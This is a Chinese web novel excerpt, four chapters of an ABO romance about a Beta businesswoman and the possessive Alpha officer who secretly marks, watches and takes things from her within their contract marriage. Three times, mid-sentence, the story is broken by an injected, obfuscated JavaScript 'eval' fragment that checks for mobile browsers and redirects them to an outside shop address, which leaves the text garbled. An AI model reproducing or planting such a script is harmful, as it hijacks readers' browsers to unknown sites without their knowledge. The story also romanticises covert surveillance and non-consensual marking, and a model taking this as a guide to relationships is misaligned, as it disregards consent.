《冰山总裁B的顶A偏执妻》 1. 第一章 早上九点。 星际帝国首都。 清晨露水从枝头滴落,往上推的卷帘门发出巨大一声,满屋的花香涌出。 站在门口的老板打了个哈欠,睡眼惺忪地迎来了她的第一个客人。 那人黑发红瞳,极好的身材比例使其肩宽腿长,仅着普通的军式便服,也显得青隽挺拔。 看得店老板眼睛一亮,尤其是听到她的订单后,更是困意消散,精神抖擞。 这可是五月以来,她接过的最大的一笔订单。 老板满脸堆笑,连声道:“就按照你选的那个图片吗?那我现在就帮你包起来,可能要等一会哦。” “另外,需要小卡片吗?这边可以代写,或者你自己写也行。” 客人唇边笑意很浅,语气温和有礼,耐心回答她的每一个问题。 “对,就是那个图片。” “您慢慢包,我不着急。” “需要一张卡片,”她停顿了一下,询问:“妻子生日的话,应该写什么比较合适呢?” 处理花材的老板一愣,不由惊讶:“您已经结婚了?那么年轻啊。” 她又补充:“写卡片的话,一般会写亲爱的,生日快乐。” “那就写这个,麻烦您借我一下笔,”话到此处,客人突然止住,突然改了口:“还是您帮我写吧。” 继而她笑容加深,认真回应了老板的后面问题:“我们是三月份结的婚。” 结婚才三个月啊。 老板忍不住八卦:“你们认识多久了?怎么认识的?” 一连串的问题,并不指望客人会全部回应,甚至有些客人会觉得冒昧,刻意不答,但面前的人似乎很乐意,含笑回答了每一个问题。 “我们认识时间不长,是相亲认识的。” “相亲啊?”店老板语气低了些,掐灭了脑子里的幻想。 “是的,当时她和她的前未婚妻刚解除了婚约,我就走上前,向她介绍了自己。” “妻子对我很满意,于是同意了我的求婚。” “啊?”老板明显一愣,已经感觉到一丝不对。 可客人已经出声提醒:“花包好了吗?” “好、好了,”她连忙回应,放下花后又去找笔,忙道:”就写亲爱的,生日快乐对吗?” “是的。” 写好的卡片插进花中,老板赶紧递到客人手中,下意识道:“祝您和您的妻子新婚快乐。” 那人笑意更深,认真说了一声:“谢谢。” 老板匆忙点头,看着那身影越来越远后,才反应过来看向付款记录,比原价多了一百,像是这场对话十分让客人满意…… 九点半。 黑色越野车准时抵达公司楼下。 包扎好的花束放在副驾驶,裴烬野伸手,将它扶正后,将每一处包装纸理顺,再拿起通讯器。 页面不变,始终停留在备注妻子的记录内,随意往上划,从昨夜到今天,不过寥寥几句,长短不一的文字写满生疏礼貌,完全不像新婚妻妻,反倒像刚认识的陌生人。 垂落的眼睫微颤,大拇指熟练翻动,短时间内就将她们的全部聊天看完,继而点向对方头像。 早已记牢的紫色鸢尾花,朋友圈里空无一物,甚至只有一条横线,是销售一看就会避退三舍的那种人。 可裴烬野却不觉无聊,来回重复两遍日常后,窗外终于看见熟悉身影。 她的妻子出来了。 借着防窥窗,赤色眼眸得以停留,紧紧粘在对方身上。 她的妻子穿得很简单,衬衫西装裤,扣子解开最上面一颗,袖子挽起,小臂搭着外套,像是等这场见面结束,她就要披上外套去参加会议,一如既往地干练、雷厉风行。 可她眉眼又是疲倦的,整夜的通宵,只在天蒙蒙亮时,躺在办公室内间的小床浅眠片刻,此刻还不得休息,需要应付一场并不值得庆祝的生日晚宴,这叫她感到乏力。 因此,被木簪盘在脑后的浅棕色发丝垂落一缕,椭圆框的银制眼镜压着鼻梁,遮挡灰青色的眼。 颓丧又疏离,像是永远不会停下的连绵细雨,每一处骨骼都长出青苔,泛着潮湿冷冽的锈味。 裴烬野是想淋雨的人,却始终被这场雨隔绝在外,不沾片缕。 掐着时间,在妻子即将走到时下车。 提前整理的衣着,嘴角含笑的弧度恰到好处,温和又不显得热情。 这是写在名为妻子的备忘录里的第一条。 妻子排斥过于亲密的关系,礼貌而克制的距离,会让妻子感到舒适。 保持这样的比陌生更近一点的关系,起码暂时是这样。 “早上好,祝女士。” 人到面前,裴烬野主动开口。 祝敛青从疲倦中回神,强打精神回应:“早上好,裴少将,麻烦你过来接我。” 她声音清冽,即便刻意放柔也透着一股冷意,显得歉意也很冷硬。 但裴烬野并不在意,她唇边的笑意更深,相对深邃冷锐的五官一柔再柔,完全不见战场上的果决沉肃,反而像个性格温和的小学老师。 她回应:“顺手的事情,您不必感到歉意,我的假期从今天早晨八点开始,刚好也要从军事基地赶回家。” 最后一个“家”字被刻意放轻,但仍让祝敛青眉梢轻挑,略微不适应。 毕竟在传统概念中,家应该是由两个相爱的人与他们的家人组成,而不是两个几乎陌生、仅由一纸合作契约相连的人,购买了一套房子,就能称作家。 且,在领证的当天,裴烬野便以职业为借口,久居军区中,不曾住进“家”里一次。 提到此事,又觉好笑,新婚三个月,两人见面三次,其中两次还是视频,一次是祝敛青问她喜欢新房里的哪一间,裴烬野选完后,视频就挂断,前后不超过半分钟。 另一次就在昨夜。 放在帝国婚姻法中,哪怕裴烬野是军官,如此冷落伴侣的行为,依旧会被严厉惩罚,尤其是Alpha与Omega的结合,严重者,甚至会被强制离婚。 好在祝敛青是个Beta,且,这种相处方式让她十分舒适,第无数次感慨,自己找对了结婚对象。 也是因此,祝敛青忽略了这点不适,语调依旧地提醒:“麻烦您的事情不止这一件。” 她表情更加诚恳,又重复了一遍:“麻烦您了。” 自结婚搬进新房后,祝敛青总感到有些奇怪。 例如,她身上总会冒出一些奇怪的红斑,不痛不痒,但每次都要几天才能消退。 比如,公司里的alpha和omega开始有意无意地避开她,并在隐蔽角落对她投来奇怪眼神。 再比如,放在柜子里的衣服会突然消失不见,几天后又出现在角落里,被揉得皱巴巴的。 还有…… 她最近总感觉有人在看着她,可无论用什么办法,都无法寻到半点蛛丝马迹,反倒怀疑起自己。 长时间的疑神疑鬼让她精力憔悴,幸好昨天裴烬野恰好打来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17538038|203873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 视频,看出她的疲倦,主动请了长假,提出帮忙。 “不必说麻烦这种话,”裴烬野微微弯腰,使两人的距离稍缩短,叫祝敛青更加看清她的表情。 “这房子是我选的,现在出了问题,就是我的责任,我理应为此负责。” 她的声音温和,可语调却是长期处于军队生活中的一板一眼,在此刻,有一种莫名的安心踏实感。 话到此处,她停顿一瞬,很刻意地加了一句:“祝女士,我们是平等的合作关系,你帮了我的忙,我也该替你解决麻烦,对吗?” 很有合作伙伴的姿态。 长时间没有得到充足的休息,祝敛青只觉得倦怠,无力再去和裴烬野客套,只是又重复了一遍:“那就麻烦您了。” 话到此处,便是结尾。 裴烬野打开副驾驶的车门,将祝敛青迎入其中。 不多时,越野车启动。 祝敛青垂眼看向怀中花束,瞧见小卡片的字,却不以为意,只当作花店的随手一放。 但裴烬野已摆出一个优质合作伙伴的姿态,她必须回以同样的态度,于是她出声感谢:“谢谢您的花,很漂亮。” 裴烬野专心开车,视线不曾偏移,只道:“是花店老板选的,看来她审美不错,那我先定个一个月送到家里?” “你喜欢花?”祝敛青反问。 听完裴烬野的话,心里那点不对劲彻底消散不见,怀中的花转了个方向,小卡片隐没其中,彻底看不见。 “你呢?”裴烬野问。 “还行,”祝敛青眉眼平淡,看不出半点起伏。 随意搭在方向盘的指尖敲打,裴烬野视线停滞,眼前闪过一座一座高低建筑,过了片刻才道:“那就先让她送一个月吧。” “好的,”祝敛青回答得很快,完全听不出情绪。 或者说,这种小事对她而言,实在无关紧要,实在难以生出半点情绪波动。 对话又一次结束,车厢中陷入寂静,只剩下偶尔方向盘转动的声音,还有祝敛青怀中花束的香气弥漫。 祝敛青疲倦,却不曾合眼,偏头看向窗外,灰青的眼晦涩,不知在想什么。 裴烬野指尖敲打方向盘,像是一个深入骨髓的小习惯。 直到祝敛青的通讯器发出震响。 她随意看去,备注母亲的人连发几条消息。 母亲:【烬野从军区出来了吗?家里已经布置好了,就等你们回来了。】 母亲:【等会看见烬野,别总垮着脸,这已经不是家族给你安排的婚姻,是你自己选的妻子,别像大家都欠了你似的。】 母亲:【军官的假期难得,你们新婚那么久都没有好好相处,趁这个假期好好相处。】 消息停顿了下,正在输入的提示来回出现几次,才见消息发出。 母亲:【之前有多少Omega在追烬野,直到现在都不肯放弃,你一个Beta可得抓紧。】 母亲:【就趁这个假期,尽快有一个孩子,知道了吗?】 对方还想再说,祝敛青却不肯看,直接将通讯器静音,继而语气不变,只和裴烬野说:“母亲她们在老宅等我们。” 在解决其他麻烦前,她得和裴烬野先解决生日宴会这个麻烦。 杂事堆积,祝敛青眼里闪过一丝烦躁,又很快压下。 另一边的裴烬野收回偏移视线,明明什么都看见,却只回应了一声:“好。” 指尖拂过皮质方向盘,有些痒。 孩子吗…… 2. 第二章 十二点十分。 越野车熄火,暂时停在地下车库。 两人还未入门,便听到一阵嘈杂声。 祝家是一个很庞大且强大的家族,族中旁系众多,大多就职于祝氏集团,因此,以加强家族凝聚力为借口,族中宴会不断,尤其是主脉继承人的生日宴,无一缺席。 裴烬野与祝敛青一踏入其中,便被众人围住,紧接着便是一连串的夸赞与试探。 虽然祝氏集团实力雄厚,但帝国处于一个常年被虫族入侵的时代,故而,帝国崇尚力量与军权。 而天生对虫族具有震慑力、一分化就被强制参军的Alpha,理所应当成为人上人。 高等级Alpha兼军官的裴烬野,更显优越,一度成为诸多Omega争抢的对象。 当然,这也是祝敛青毫不犹豫选择她的原因。 靠着和裴烬野的婚约,那群总指手画脚的“长辈”,终于学会安静、不找麻烦。 祝敛青再一次庆幸,她和裴烬野达成了合作。 白皙指尖的酒杯摇晃,祝敛青一手挽住裴烬野臂弯,轻轻扯了一下。 裴烬野了然,当即和面前人说了再聊,侧身后迎向另一个人。 “这是小姨,”祝敛青小声提示。 裴烬野微微点头,眉眼依旧温和,唇边弧度始终不变,开口就道:“小姨。” 那是个穿着华丽的女士,听到裴烬野的称呼,先是捂嘴大笑,满意又高兴道:“哎呦,我们阿青真是找了个好妻子。” 她视线赤/裸,从两人相贴的地方扫过,再次露出意味深长的大笑,夸张道:“新婚感情就是好,打算什么要孩子?” 此话一出,周围都安静下来,似乎都在竖着耳朵等待。 以裴烬野的基因,她们生下的孩子很大概率会是Alpha,而祝家需要一个Alpha血脉,而不是一个又一个平庸无用的Beta。 为此,祝家做了许多代的努力,不断与Alpha或Omega结合,寄希望于下一代。 曾经的祝敛青曾是她们眼中最有可能分化成功的孩子,只是可惜,事与人违。 不过好在祝敛青又给她们带来一个强大的Alpha,她们生下的孩子将成为祝家的下一个希望。 裴烬野感觉到臂间的手收紧,无意识的用力,只想,这已经是今天第二次提到孩子。 “哎呀,别怪小姨多嘴,你们现在还年轻,恢复能力好,可以少遭点罪,要是年纪大了,吃的苦就多咯。” “而且阿青母亲也可以帮忙……” 话语间,站在不远处的女士对她们含笑点了点头。 裴烬野视线扫过,并未开口喊人。 名为妻子的备忘录第十七条。 妻子厌恶她的母亲,作为伴侣必须与妻子统一战线。 但对方给钱给股份的时候,可以笑一笑,因为这样让妻子工作轻松一点。 两人没有回应,一直佯装热情的小姨略显尴尬,哈哈两声看向祝母。 那人连忙接上:“哎哟,你别闹了,阿青和烬野都忙了几天了,你瞧,衣服都没换,让她们先回房间休息,晚上再来和大家聊。” 其他人附和,满脸体贴关心。 于是,裴烬野两人得以退场,绕过繁琐的欧式过道,喧嚣被抛在身后,挽在裴烬野臂间的手自然松开。 裴烬野第一时间察觉,眼眸低垂,视线扫过,隔着布料的皮肤似乎还能感受到温凉的体温。 裴烬野抿了抿唇,无意瞥见玻璃窗的倒影,无法掩饰的浮躁一闪而过,又很快压住。 名为妻子的备忘录第二条。 妻子讨厌肢体接触,只有在需要演戏的场合,才能触碰。 “刚刚她们提到的东西,你不必在意,”祝敛青突然开口,清冽声音平静。 裴烬野脚步一顿,明知对方在说什么,却故意疑惑:“什么?” 她的表情始终温和有礼,让人分不出真假。 祝敛青只好提醒:“孩子的事。” 裴烬野露出恍然表情,说:“原来是这个啊。” 话到此处,却没有接上,叫祝敛青突然止住,看向裴烬野。 “你想要吗?” 语气略带几分惊讶和纠结。 因时间紧迫,两人结婚匆忙,并未仔仔细细沟通过合作内容,如果裴烬野非常需要一个孩子的话,作为合作伙伴,祝敛青确实应该帮忙,毕竟裴烬野帮她解决了那么多麻烦。 祝敛青拧紧眉头。 木簪越发松散,垂落的发丝被风吹散,镜片下的灰青色眼眸像是掺了灰调的翡石,略显沉郁。 妻子又在下雨了。 裴烬野这样想。 她微微弯腰,这个脆弱且纤薄的Beta,甚至比许多Omega清瘦,站直了才到她的肩膀,再靠近一点,就能将人堵在角落里,完全隐藏起来。 帝国准则总重复,Alpha要优先保护Omega的安全。 可在她看来,她的妻子更需要保护,最好有一个无形的玻璃罩,将妻子庇佑其中,这样才能避免其他Alpha的觊觎。 “你非常想要一个孩子吗?”祝敛青再次询问,惊讶淡去,多了几分思索后的为难。 怀孕到分娩,足足需要十个月,她不想耽误太多时间,这样会影响她刚刚把控的股权。 不等裴烬野回答,突然有人经过。 祝敛青余光瞥见,突然上前一步,将可以称为生疏的距离拉近,两人只隔着巴掌大的距离。 裴烬野的脊背又弯了些,放在军营里,这样的弧度足以被纠察兵拉去做检讨。 可裴烬野现在只剩下一个念头。 她们像是在躲到角落里接吻。 接吻啊…… 赤色眼眸更暗,翻涌的情绪晦涩,鼻尖似乎能嗅到妻子清浅的香气,再靠近一点,她就能吻到祝敛青的发丝。 祝敛青不曾察觉,注意力都在路过的人身上。 等到对方走开,那若有若无的视线终于不见,她才松了口气,解释道:“那是张姨,照顾姥姥许多年的女佣。” 祝敛青姥姥是祝家目前的当家人。 裴烬野微微点头,表示自己在听,继而又道:“今天好像还没看见姥姥。” “她晚上才会出现。” 祝敛青早已熟悉流程,毕竟这样的宴会每年一次,话题中心从学业到事业,马上就要到她的婚姻。 婚姻。 祝敛青思绪一转,便想到大家不会无缘无故反复提及孩子,除非有人引导。 她的姥姥想要她生个孩子。 祝敛青眉头更紧,在新婚的第三个月,终于体验到一点婚姻的坏处。 “你呢?”裴烬野终于开口,又是反问句,语调和之前问祝敛青喜不喜欢花一样。 但这个问题,祝敛青不能说出还行,她回:“我不喜欢。” “我也是,”裴烬野很快回答,但又补了一句:“但我不知道裴家的态度。” 那就是还不能确定要不要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17538039|203873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ? 祝敛青眼底的愁绪不减,只能拖延道:“再说吧,暂时不着急。” 裴烬野随意点头,心里默默往备忘录里加了一条。 妻子不喜欢孩子。 正好,她也不喜欢,但她想和妻子靠近一点,所以用了很恶劣的方式,暗示妻子,她们可以有一个孩子。 停顿的脚步继续,须臾后才抵达祝敛青未结婚时的房间。 祝家规定,未婚的子女都得住在老宅,结婚后才能搬出去,除了当家主脉。 因此,祝敛青原是可以在婚后留住老宅,只是她自己拒绝了,但姥姥还是给她留了房间,以便她偶尔停留。 房门轻轻关上,强撑的人终于放松一点,随手解开衬衫的第一颗扣子,平直的锁骨处有一枚小小的红印,在祝敛青上一次查看时,被搓捏得更红,在瓷白肌肤衬托下,红得刺眼。 显然,这就是妻子提起过的,身上总会冒出不痛不痒,但需要几天才能消退的红斑。 裴烬野不由想起备忘录的第十条。 妻子的皮肤敏感又脆弱,轻轻一碰就会发红,要控制力度,非常小心。 “我出来的时候去了趟医疗室,”裴烬野出声。 祝敛青随之回头,看向她。 裴烬野继续道:“和她们要了一份药膏,不知道管不管用?” 她取出口袋里的药盒,药盒很小,大概就一个贝壳那么大,在裴烬野掌心中,显得格外小巧。 祝敛青看了一眼,只道:“我试一试吧,麻烦您了。” 众所周知,军区具有帝国最好的医疗条件,而且,这些红印确实有点烦人,祝敛青希望它们能快点消失。 抬手取物间,指尖无意擦过一点,裴烬野指尖动了下,还未感受就见祝敛青收手,时间不超过几秒。 裴烬野默默咽下那句帮忙的话,看着妻子将药膏擦拭。 不需要担心药膏太凉,贴身放了许久的药膏温热,与裴烬野的体温几乎一致。 她是个非常贴心的妻子,药膏如此,其他也是。 哪怕祝敛青只涂抹到锁骨位置,贴心的妻子仍然侧身避开,克制又有礼,甚至忘记了提醒祝敛青。 她的腰后还有几颗,只是太过隐蔽,哪怕照镜仔细寻找,也很难注意到,除非让人帮忙。 可不痛不痒、只是有点碍眼的印记,实在难以让祝敛青察觉,于是,只有始作俑者清楚它们在哪里。 “麻烦您那么挂心,”祝敛青再一次道谢。 裴烬野笑得很温和,摇头重复道:“我说过了,这件事是我的责任,对您造成困扰,我真的感到非常抱歉。” 脱离了人群,两人又开始默契地保持距离,宛如最陌生的关系。 祝敛青还想再说些什么,却听到一阵敲门声,紧接着,老迈的声音随之响起。 “小姐,是我。” 裴烬野挑了挑眉,在祝敛青的无声允许下,开了门。 之前提过的张姨,此刻出现在门口,双手抬着木盘,里头是一些洗漱换洗用品,开口就道:“家主说这段时间都没见过您,心里头总念着,希望您和裴少将留一晚上,多陪陪她老人家。” 终于知晓张姨为何会路过,但却不是什么好事。 祝敛青扫过那堆东西,心知没有拒绝的权利,只能无奈答应。 站在她身后的裴烬野无声,唇边笑意却更浓。 新婚的第三个月,她终于能正大光明地和妻子共同度过一个夜晚。 这让她感到愉悦。 3. 第三章 只有少数人知晓房间内的暗潮涌动,身处其中的人一退再退,却不知自己掉进如何危险的陷阱,仍由蛛丝越束越紧。 休息片刻,便开始为晚宴做准备。 礼服都由祝家准备,不需要她们麻烦半点。 考虑到裴烬野的习惯,甚至不大繁琐,仿军式的银白西装,既与祝敛青相配,又能让外人一眼看出裴烬野的身份。 说实话,要不是太夸张,她们甚至想把军衔标上。 而祝敛青则精致许多,丝绒的露肩鱼尾裙,勾勒出妙曼曲线,浅栗色发丝披散,半遮半掩地挡住蝴蝶骨,垂眼时,没有镜片遮挡的灰青色眼眸盈盈,少了冷锐,多几分朦胧和为难。 前者是因为近视导致的朦胧,后者是因为锁骨处遮不住的红印。 镜中的祝敛青拧紧眉头,视线始终停留在那处。 到底是什么东西? 熟悉的家庭医生以年纪大为由,已向祝家申请退休,新的人选还未定下,她这段时间工作又忙,去医院的计划一拖再拖。 不等她再想,门外响起敲门声,继而有人询问:“还没好吗?” 是裴烬野,她的新婚妻子,大抵是她在换衣间里耽搁太长时间,所以赶来催促。 不用担心对方闯入,虽然相处时间不长,但裴烬野的表现一直很好。 性格谦和有礼、克己复礼,而且十分尊重她,比起大多数性格傲慢强势的Alpha,裴烬野堪称一个完美伴侣。 思绪放空时,祝敛青也会想,裴烬野为什么要和她、一个Beta结婚。 因为裴祝两家的政商联合? 因为她不会像那些Omega一样穷追不舍地粘着裴烬野? 她们毫无感情,以后也不可能发生什么。 但目前来看,她们的婚姻得利者都是祝敛青。 她借着裴烬野摆脱了催婚,完全把控了集团,另外还因此少了一些因被前未婚妻解除婚约,而可能产生的舆论麻烦。 祝敛青轻轻吐出一口气,紧皱的眉头不仅没有松开,反而拧得更紧。 作为一个合格的商人,她深知不可能只有一方获利的合作,否则这段脆弱的关系迟早崩坏。 祝敛青暂时还不想离婚,起码短期不行,所以她必须思考,裴烬野需要什么? 一个孩子? 许是今天被提起的太多,叫她一下子就想到这事。 态度不再像之前坚决,灰青色的眼眸纠结。 或许该趁着这次长假,好好和裴烬野沟通一次了。 祝敛青这样想,同时开口回应道:“已经好了。” 外头的人“嗯”了一声,紧接着就听到离开的脚步声,叫祝敛青万分放心。 裴烬野就是这样体贴礼貌的Alpha。 房门打开,往前走了几步才见到裴烬野。 她的视线停留,慢慢移向锁骨,表情一下子变得凝重,明显是瞧见了那个红印,不由道:“看来医疗室的药膏也不大管用。” 声音里甚至有些歉意,像是不能帮助到祝敛青的自责。 祝敛青只得宽慰:“没事的,反正也不痛不痒。” 裴烬野却没有放弃,又说:“我明天联系一下除虫公司,让他们来做一个大扫除。” “当然可以,我前两天就想这样做了,只是一直忘记,”为表示宽慰,祝敛青甚至笑了下。 裴烬野顿了下,很快偏头看向另一边。 对此,祝敛青的理解依旧是裴烬野的优良教养。 很多Alpha都很喜欢直愣愣盯着人看,自以为的视线是赞赏、是奖励,但实际非常烦人,起码祝敛青自己不大喜欢,裴烬野这样就很好,让她比较舒服。 随意说着话,重复之前的路走回大厅。 已经布置好的大厅灯光璀璨,祝家人与受邀的客人皆穿正装,在音乐声中,各自三两成对,言笑晏晏。 裴烬野向祝敛青微微倾身,祝敛青抬手挽住她的手臂,距离再次消失,丝绒布料贴着西装。 在场的宾客察觉主角出现,都回以热情掌声与注视,特意邀请来的古典乐队甚至当即换了一曲。 这本是祝敛青重复多次,绝对游刃有余的场合。 可她敏锐地感受到曾出现在公司的视线,此刻又若隐若现落在她身上。 不是往日的惊艳或贪恋,欣赏或嫉妒,她们的眼神带着几分揶揄的笑意,尤其互相对视时,那种不用言说的默契,叫祝敛青烦闷。 是今天的裙子不合适? 还是外面有什么她不知道舆论在发酵。 总不能是她锁骨间的红印,不过是被奇怪虫子咬了,这有什么值得笑的? 指尖的高脚杯摇晃,艳红液体荡起波澜,酒香随之散开。 祝敛青低头抿了一口,试图用酒精压住情绪,可抬眼时,又瞧见角落的几人朝她看来。 谈什么不上恶意的笑,偏偏全是祝敛青不理解的情绪。 和公司里的那些Alpha与Omega一样。 酒精在舌尖散开,专属于葡萄酒的涩,堵在嗓子眼,不上不下叫人难受。 “怎么了?”旁边的妻子察觉到她的情绪,微微偏头询问,唇间依旧是那抹温和的笑意,赤色眼眸满是关切。 挽住对方手臂的手紧了紧,祝敛青红唇碾磨,却不知该怎么说,但情绪却因此缓和一点,不管怎么样,她的妻子还在她的身边。 高等级Alpha、靠谱的合作伙伴、少将、温恭有礼的性格,这些词汇拼凑在一起,成为祝敛青信任而放心的裴烬野。 相信有裴烬野的帮助,这个问题很快就会解决。 祝敛青轻轻松了口气。 大抵是疑惑,裴烬野顺着她之前的视线看过去,低声再次询问:“怎么了?需要过去和他们聊聊吗?” 裴烬野不大了解祝家的人际关系,但她很知道怎么当一个合格的士兵,配合祝敛青的所有指令。 祝敛青犹豫片刻,还是道:“过去一趟吧。” 她对那几人还算认识,都是祝家培养出来的Alpha、Omega,因等级太低、能力一般的缘故,无法委以集团重任,只由家族供养,日后安排合适Alpha、Omega结合,用以培养下一代。 脚步偏移,不多时就走到他们面前。 那群人见状,连忙笑起,开口就是一连串的祝贺。 “敛青姐生日快乐,嫂子好漂亮,你真是有福气,”左侧的女人率先开口,打趣的声音满是笑意。 “对啊对啊,你们妻妻感情真好,好幸福啊,”最后三个字被刻意加重,右侧的人视线有意无意烧过,不等祝敛青分辨又移开。 “谁说不是呢,是顶A的实力呢,”有人捂嘴直笑。 如果祝敛青能嗅到信息素,必然会发觉她周身都是橡木苔的味道,浓郁得几乎凝成水珠滴落,叫人一秒陷进阴郁湿润的森林深处, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17538040|203873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知晓眼前这颗橡木,已被这朵形似小鹿角的苔藓无声占据, 祝敛青是裴烬野的。 这是在场所有的Alpha与Omega的共识。 这个脆弱可怜的Beta,完全不知自己掉入了怎样的陷阱。 听祝母说,裴少将这次申请的长假理由,是易感期即将爆发。 早上才赶回,晚上就控制不住留了印,不知宴会结束还要发生点什么,不知祝敛青能不能承受一个顶级Alpha的渴望。 几个Alpha、Omega对视一眼,突然默契笑起。 又是这样。 祝敛青拧紧眉头,被莫名其妙排斥在外的感受奇怪,不等她细想,却感受到裴烬野的手揽住她的腰。 祝敛青一愣,本能想要反抗,却又瞬间想到这是什么场合,立马止住。 “姥姥来了,”裴烬野及时地低声解释。 祝敛青脊背微松,当即放弃所有抵触。 可腰间的异样依旧明显,隔着单薄布料,仍然能感受到熟悉的温度。 裴烬野体温很高,这是祝敛青一开始就知道的事情。 在第一次达成协议的雨夜,那人明明在店外等待许久,风衣都被打湿,可伸来的手却滚烫,握手间,还能感受到常年握枪的厚茧。 人对另一个人的充分认识,需要包含五感。 滚烫粗粝,便是祝敛青起初对裴烬野的触感印象,直到今日也从未改变。 就好像那盒被捂得发烫的药膏,哪怕取出片刻,涂抹在锁骨间时,依旧是温热的。 或许Alpha都是这样? 祝敛青不得不这样猜测。 在她思绪间,裴烬野已和面前的几人说完再聊。 祝家当事人的出场让宴会越发沸腾,不过几分钟,就有两波人迎了上去,但往往几句就结束,众人都看出她的注意力停留在祝敛青与裴烬野身上,希望她们快点过去。 几个Alpha、Omega也识趣,纷纷笑着道:“下次有机会再聊,再祝敛青姐生日快乐。” 有人挤了挤眼,笑眯眯地接上:“也祝你们有一个甜蜜的夜晚。” 另一边的人有些微醺,话语更加赤裸:“奶油更适合夜晚,敛青姐可要让嫂子多吃一点。” 祝敛青似乎听懂一点,可还没来得及细想,就被裴烬野半搂半提地带走。 很快,思绪回笼,祝敛青稍稍正色。 那些困扰虽然烦人,但还不足与眼前的事情相争,她更需要的事业,一切都要为她的野心让步,祝敛青十分清楚这一点。 脚步住顿,两人默契喊道:“姥姥。” 祝柏舟年纪苍老,如今只能坐在轮椅上,由佣人推着走,面容与祝敛青有五分相似,灰青但浑浊的眼,发丝已然全白,可看其五官轮廓,依旧能看出年轻时的风采。 “哎,你们来了,”她慈祥回应,视线扫过裴烬野搭在祝敛青腰间的手,终于露出今夜的第一个笑容。 她和蔼继续:“我的宝贝孙女,二十八岁生日快乐,希望你能渡过一个快乐而幸福的生日夜。” 祝敛青轻声感谢,弯腰附身拥抱时,听到苍老的声音又一次在耳边响起。 “是时候为祝家生一个Alpha血脉了,阿青。” “你是姥姥最疼爱、最懂事的孙女。” 声音落在后久久不曾散开,一直在祝敛青耳畔徘徊。 又是孩子吗…… 4. 第四章 见过姥姥后,妻子的状态变得很差。 虽然变化细微,但裴烬野还是敏锐地察觉到了她的一两次恍惚。 可不知源头在哪,又碍于宴会,裴烬野只能把疑惑暂时压住,直到宴会结束。 漫长喧闹终于停止,骤然亮起的房间安静,只有窸窣的动作声,祝敛青坐在梳妆台卸妆,裴烬野解开衬衫的扣子。 难得无言,却又透着几分松弛,这还是两人婚后的头一次。 裴烬野的笑意不减,唇边还残留着些许奶油。 这是之前,周围人酒醉起哄,妻子只好叉起生日蛋糕,喂到她唇边。 因为太过慌乱,所以沾染不少,但或许也有裴烬野故意偏了下头的原因。 乳白的奶油与小麦肤色相衬,格外突兀。 祝敛青几次看过来,嘴唇碾磨,像是想要提醒,却碍于各种原因不曾开口。 裴烬野明明察觉却佯装不懂,像是恶劣的犬,喜欢用这点拙劣的小伎俩吸引主人的注意。 比如此刻,裴烬野就能感觉到,祝敛青借着镜子,悄然看向自己。 真甜。 裴烬野卷了卷舌尖,似乎还能尝到妻子生日蛋糕的味道,很浓郁的奶油香气。 裴烬野不大喜欢甜食,哪怕是身处前线时。 那会帝国送来的补给里,总会塞几箱可乐、糖果,甚至还有草莓蛋糕。 这种东西脆弱又占空间,却比许多心理医生还管用,避免了许多Alpha因长时间的精神力释放、与虫族厮杀而导致的精神紊乱。 所以,无论条件如何苛刻,帝国都会尽量保护这些物资送到。 裴烬野的心理医生也曾向她建议,让她尝试一些甜食。 可裴烬野并未采纳,无法理解人类会依赖二氧化碳造成的刺痛,而且每日服用的营养液,已为她带来充足糖分。 心理医生几次相劝无果后,趁着每周强制的心理咨询时间,对她说:“裴少将,人类需要一点无用的依赖。” “可乐、蛋糕、糖果,哪怕是酒精、烟草,太过紧绷的绳迟早会崩断,允许自己和自己求救,这不是软弱无能的表现。” 裴烬野出于对心理医生的尊敬,并未直接否定,只是不置可否地笑了笑,精心摆盘的甜品依旧丢在桌面,不曾动过一点。 直到现在。 “你在想什么?” 清冷声音突然响起,扯回游离的思绪,裴烬野很快就回答:“今天的蛋糕味道不错。” 同时,耳畔突然响起宴会上的话语。 “奶油更适合夜晚,敛青姐可要让嫂子多吃一点。” 裴烬野突然笑了下,视线落在祝敛青锁骨间。 宴席漫长,之前试图遮挡的粉底液在不知不觉间褪去,随着时间,愈发红艳,像是一颗晶莹剔透的樱桃,盈盈挂在平直锁骨间,惹来诸多视线。 房间里,橡木苔的香气浅了又浓,幽幽缠上纤长的脚踝。 坐在化妆镜前的女人依旧不曾察觉,语气依旧,回应了裴烬野的话语。 “你喜欢吃蛋糕?这家店味道确实不错,明天可以定一份到家里。” 不知何时,祝敛青也开始说“家”这个字眼。 裴烬野眼眸弯了下,轻声回答道:“那就麻烦你了。” 